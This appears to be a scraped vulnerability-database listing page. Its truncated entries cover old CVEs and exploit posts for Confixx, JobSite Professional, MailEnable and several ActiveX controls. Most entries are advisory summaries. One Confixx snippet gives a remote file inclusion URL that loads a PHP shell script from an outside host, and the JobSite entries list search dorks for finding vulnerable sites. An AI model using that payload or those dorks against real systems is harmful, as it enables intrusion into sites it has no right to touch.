Confixx Professional RFİ

Confixx Professional Remote File Vuln. Credit : ErNe Contact: erneaternealizmdotus Site: www.r57.li www.ernealizm.us www.barbarity.org http://site ip /admin/businessinc/saveserver.php?thisdir=http://www.r57.li/r57.txt?...

RavWare Software - .MAS Flic Control Remote Buffer Overflow

RavWare Software - .MAS Flic Control Remote Buffer Overflow ----------------------------------------------------------------------- RavWare Software MAS Flic Control "FileName" method Buffer Overflow url: https://www.ravware.com/ author: shinnai mail: shinnaiatautisticidotorg site:...

Microsoft Office不安全文档签名漏洞

Microsoft Office 2007是一款微软开发的流行的办公处理应用程序。 Microsoft Office 2007不安全对基于XML文档的签名，远程攻击者可以利用漏洞伪造签名，使目标用户盲目信任文档。 Microsoft Office文档根据文件中docProps/core.xml的DublinCore metadata来携带META数据信息，在这些META数据信息中"LastModifiedBy", "creator"字段可通过"Office Button - Prepare -...

CVE-2007-6042

PHP remote file inclusion vulnerability in fehler.inc.php in SWSoft Confixx Professional 3.2.1 allows remote attackers to execute arbitrary PHP code via a URL in an unspecified parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party...

CVE-2007-6042

The CVE-2007-6042 entry concerns SWSoft Confixx Professional 3.2.1, where a PHP remote file inclusion vulnerability exists in fehler.inc.php. An attacker can cause arbitrary PHP code execution by supplying a URL in an unspecified parameter, enabling potential remote control of affected systems. T...

Sql injection

SQL injection vulnerability in file.php in JobSite Professional 2.0 allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2007-5785

SQL injection vulnerability in file.php in JobSite Professional 2.0 allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2007-5785

CVE-2007-5785 describes an SQL injection in JobSite Professional 2.0, affecting the vulnerable component: file.php. The flaw allows remote attackers to execute arbitrary SQL commands via the id parameter, with a CVSS v2 base score of 7.5 (HIGH) and impacts to confidentiality, integrity, and avail...

CVE-2007-5785

SQL injection vulnerability in file.php in JobSite Professional 2.0 allows remote attackers to execute arbitrary SQL commands via the id parameter...

JobSite Professional File.PHP SQL注入漏洞

JobSite Professional是一款基于PHP的WEB应用程序。 JobSite Professional不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞进行SQL攻击，获得敏感信息或操作数据库。 问题是由于' File.PHP'脚本对用户提交的'id'参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，攻击者可以获得敏感信息或操作数据库。 NetArt Media JobSite Professional 2.0 目前没有详细解决方案提供： http://www.jobsiteprofessional.com/...

JobSite Professional 2.0 file.php Remote SQL Injection Vulnerability

No description provided by source. JobSite Professional v2.0 Remote SQL Injection Vulnerability AUTHOR : ZynbER HOME : NoWhere Script WebSite: http://www.jobsiteprofessional.com Dork english version : inurl:index.php?page=enjobseekers Dork french version : inurl:index.php?page=frCandidats EXPLOIT...

jobsite-sql.txt

JobSite Professional v2.0 Remote SQL Injection Vulnerability AUTHOR : ZynbER HOME : NoWhere Script WebSite: http://www.jobsiteprofessional.com Dork english version : inurl:index.php?page=enjobseekers Dork french version : inurl:index.php?page=frCandidats EXPLOITS : Vulnerability in File.php?id=...

JobSite Professional 2.0 - file.php SQL Injection

JobSite Professional 2.0 - file.php SQL Injection JobSite Professional v2.0 Remote SQL Injection Vulnerability AUTHOR : ZynbER HOME : NoWhere Script WebSite: http://www.jobsiteprofessional.com Dork english version : inurl:index.php?page=enjobseekers Dork french version :...

JobSite Professional 2.0 - 'file.php' SQL Injection

JobSite Professional v2.0 Remote SQL Injection Vulnerability AUTHOR : ZynbER HOME : NoWhere Script WebSite: http://www.jobsiteprofessional.com Dork english version : inurl:index.php?page=enjobseekers Dork french version : inurl:index.php?page=frCandidats EXPLOITS : Vulnerability in File.php?id=...

JobSite Professional 2.0 file.php Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ==================================================================== JobSite Professional 2.0 file.php Remote SQL Injection Vulnerability ==================================================================== JobSite Professional v2.0 Remote...

CVE-2004-2727

MailEnable Professional (MEHTTPS/HTTPMail) versions 1.5–1.7 are affected by a heap/overflow issue triggered by an oversized HTTP GET request to the HTTPMail service, causing a denial of service (service crash). OpenVAS notes potential for arbitrary code execution, and some sources indicate a vend...

CVE-2004-2727

Buffer overflow in MEHTTPS HTTPMail of MailEnable Professional 1.5 through 1.7 allows remote attackers to cause a denial of service application crash via a long HTTP GET request...

Microsoft Visual FoxPro 6.0 - 'FPOLE.OCX' Arbitrary Command Execution

----------------------------------------------------------------------------- Microsoft Visual FoxPro 6.0 FPOLE.OCX Arbitrary Command Execution url: http://www.microsoft.com Author: shinnai mail: shinnaiatautisticidotorg site: http://shinnai.altervista.org This was written for educational purpose...

Pegasus Imaging ImagXpress 8.0 Remote Arbitrary File Overwrite

No description provided by source. pre codespan style="font: 10pt Courier New;"span class="general1-symbol"body bgcolor="E0E0E0"----------------------------------------------------------------------------- bPegasus Imaging ImagXpress 8.0 Remote Arbitrary File Overwrite/b url:...

Pegasus Imaging ThumbnailXpress 1.0 - Arbitrary File Deletion

Pegasus Imaging ThumbnailXpress 1.0 - Arbitrary File Deletion ----------------------------------------------------------------------------- Pegasus Imaging ThumbnailXpress 1.0 Remote Arbitrary File Deletion url: http://www.pegasusimaging.com/ Author: shinnai mail: shinnaiatautisticidotorg site:...